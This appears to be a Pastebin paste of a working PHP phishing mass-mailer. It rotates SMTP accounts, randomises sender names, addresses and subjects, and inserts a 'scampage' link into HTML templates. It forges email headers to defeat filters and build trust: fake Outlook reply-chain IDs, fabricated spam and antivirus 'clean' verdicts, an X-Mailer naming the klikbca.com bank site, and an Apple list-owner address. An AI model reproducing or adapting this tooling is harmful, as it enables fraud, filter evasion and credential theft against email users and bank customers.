Guest User

Untitled

a guest
May 15th, 2018
320
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.64 KB | None | 0 0
  1. <?php
  2.  
  3. /**
  4. * @Author: Panji Dwi Setiawan
  5. * @Date: 2017-09-14 07:49:43
  6. * @Last Modified by: Panji Dwi Setiawan
  7. * @Last Modified time: 2018-03-21 20:37:55
  8. */
  9.  
  10. require_once("setting/phpmailer/PHPMailerAutoload.php");
  11. include('setting/settings.php');
  12. include('setting/function.php');
  13. include('setting/stillku.php');
  14.  
  15. function Kirim($email, $smtp_acc, $anugan)
  16. {
  17.  
  18. $euew = new MoneyhunterModules;
  19. $smtp = new SMTP;
  20. $smtp->do_debug = 0;
  21.  
  22. $smtpserver = $smtp_acc['host'];
  23. $smtpport = $smtp_acc['port'];
  24. $smtpuser = $smtp_acc['username'];
  25. $smtppass = $smtp_acc['password'];
  26. $priority = $anugan['priority'];
  27. $userandom = $anugan['userandom'];
  28. $sleeptime = $anugan['sleeptime'];
  29. $replacement = $anugan['replacement'];
  30. $userremoveline = $anugan['userremoveline'];
  31. $fromname = $anugan['fromname'];
  32. $frommail = $anugan['frommail'];
  33. $subject = $anugan['subject'];
  34. $msgfile = $anugan['msgfile'];
  35. $filepdf = $anugan['filesend'];
  36. $randurl = $anugan['scampage'];
  37.  
  38. if (!$smtp->connect($smtpserver, $smtpport)) {
  39. throw new Exception('Connect failed');
  40. }
  41.  
  42. //Say hello
  43. if (!$smtp->hello(gethostname())) {
  44. throw new Exception('EHLO failed: ' . $smtp->getError()['error']);
  45. }
  46.  
  47. $e = $smtp->getServerExtList();
  48.  
  49. if (array_key_exists('STARTTLS', $e)) {
  50. $tlsok = $smtp->startTLS();
  51. if (!$tlsok) {
  52. throw new Exception('Failed to start encryption: ' . $smtp->getError()['error']);
  53. }
  54. if (!$smtp->hello(gethostname())) {
  55. throw new Exception('EHLO (2) failed: ' . $smtp->getError()['error']);
  56. }
  57. $e = $smtp->getServerExtList();
  58. }
  59.  
  60. if (array_key_exists('AUTH', $e)) {
  61.  
  62. if ($smtp->authenticate($smtpuser, $smtppass)) {
  63. $priority = 0;
  64.  
  65. $mail = new PHPMailer;
  66.  
  67. $mail->Encoding = 'base64'; // 8bit base64 multipart/alternative quoted-printable
  68. $mail->CharSet = 'UTF-8';
  69. $mail->headerLine("format", "flowed");
  70. $mail->clearAddresses();
  71. $mail->clearCustomHeaders();
  72. $mail->clearAllRecipients();
  73. if ($priority == 1) {
  74. $mail->AddCustomHeader("Importance: High");
  75. }
  76.  
  77.  
  78. //$mail->addCustomHeader('X-IncomingTopHeaderMarker', 'OriginalChecksum:CF8629943C45564072C26D998C726EB4523C9D11E9BB59BA16715C6637D8F29B;UpperCasedChecksum:C40D3A50581619E3B3019978BB1E9A5A9DFCB042F62FC3FFF6D90F23BBF77F8D;SizeAsReceived:1562;Count:13');
  79. $mail->addCustomHeader('Message-ID' , '<'.strtoupper($euew->random_text('textnumrandom', 12)).'.'.strtoupper($euew->random_text('textnumrandom', 13)).'@'.strtoupper($euew->random_text('textnumrandom', 15)).'>');
  80. $mail->addCustomHeader('In-Reply-To','<'.strtoupper($euew->random_text('textnumrandom', 40)).'@'.strtoupper($euew->random_text('textnumrandom', 16)).'.apcprd06.prod.outlook.com>');
  81. $mail->addCustomHeader('References','<'.strtoupper($euew->random_text('textnumrandom', 40)).'@'.strtoupper($euew->random_text('textnumrandom', 16)).'.apcprd06.prod.outlook.com>'.' <'.strtoupper($euew->random_text('textnumrandom', 40)).'@'.strtoupper($euew->random_text('textnumrandom', 16)).'.apcprd06.prod.outlook.com>');
  82. $mail->addCustomHeader('x-store-info' , 'sbevkl2QZR7OXo7WID5ZcVBK1Phj2jX');
  83. $mail->addCustomHeader('X-MSAPipeline', 'MessageDispatcherEOP');
  84. $mail->addCustomHeader('X-BO1-SAF2-RCPT-Passed' , 'Yes');
  85. $mail->addCustomHeader('X-Antivirus-Scanner' , 'ClamAV - No Detected Virus, though you should still use a Local Antivirus on your computer.');
  86. $mail->addCustomHeader('X-Scanned-By' , 'Tzolkin-Spam-Scanner');
  87. $mail->addCustomHeader('X-Spam-Status: No' , 'score=3.0 required=5.0 tests=BAYES_50,HTML_MESSAGE, UNPARSEABLE_RELAY autolearn=no version=3.3.1');
  88. $mail->addCustomHeader('Content-type', "text/calendar; method=REQUEST; charset=UTF-8");
  89. $mail->addCustomHeader('Content-Transfer-Encoding', "8bit");
  90. $mail->addCustomHeader("Content-class: urn:content-classes:calendarmessage");
  91. $mail->addCustomHeader('X-Sender' , 'Ipad Mail '.$euew->versi()." (https://klikbca.com)");
  92. $mail->addCustomHeader('X-Mailer' , 'Ipad Mail '.$euew->versi()." (https://klikbca.com)");
  93. $mail->addCustomHeader("List-Owner", "<mailto:customer@apple.com>");
  94. $mail->do_debug = 1;
  95. $mail->IsSMTP();
  96. $mail->SMTPAuth = true;
  97. $mail->Host = $smtpserver;
  98. $mail->Port = $smtpport;
  99. $mail->Priority = $priority;
  100. $mail->Username = $smtpuser;
  101. $mail->Password = $smtppass;
  102.  
  103. if ($userandom == 1) {
  104. $rand = rand(1, 50);
  105. $fromname = randName($rand);
  106. $frommail = randMail($rand);
  107. $subject = randSubject($rand);
  108. }
  109.  
  110. if ($anugan['filesend'] == 0) {
  111. $filepdf = file_get_contents($AddAttachment);
  112. $mail->AddAttachment($filepdf);
  113. }
  114.  
  115. $asu = RandString1(8);
  116. $asu1 = RandString(5);
  117. $asu2 = RandString1(5);
  118. $nmbr = RandNumber(5);
  119. $fromnames = str_replace('##randstring##', $asu1, $fromname);
  120. $frommails = str_replace('##randstring##', $asu, $frommail);
  121. $subjects = str_replace('##randstring##', $asu2, $subject);
  122.  
  123. $mail->setFrom($frommails, $fromnames);
  124. // $data = str_replace("{email}", '***'.substr($email,3), $data);
  125.  
  126. $mail->AddAddress($email);
  127.  
  128. $mail->Subject = $subjects;
  129. if ($replacement == 1) {
  130. $msg = lettering($msgfile, $email, $frommail, $fromname, $randurl, $subject);
  131. } else {
  132. $msg = file_get_contents($msgfile);
  133. }
  134.  
  135. $mail->msgHTML($msg);
  136.  
  137. if (!$mail->send()) {
  138. echo json_encode([
  139. 'error' => 'failed',
  140. 'from' => $smtpuser
  141. ]);
  142. exit();
  143. } else {
  144. $info = "Send To : ".$email." | Send From : ".$smtpuser;
  145. echo json_encode([
  146. 'error' => 'success',
  147. 'info' => $info,
  148. 'from' => $smtpuser
  149. ]);
  150. }
  151. $mail->clearAddresses();
  152.  
  153. } else {
  154. //
  155. echo json_encode([
  156. 'error' => 'failed',
  157. 'from' => $smtpuser
  158. ]);
  159. }
  160. $smtp->quit(true);
  161. }
  162.  
  163. }
  164. $email = @$_GET['email'];
  165. $smtp_key = rand(0, (count($smtp_acc)-1));
  166. Kirim($email, $smtp_acc[$smtp_key], $anugan);
Add Comment
Please, Sign In to add comment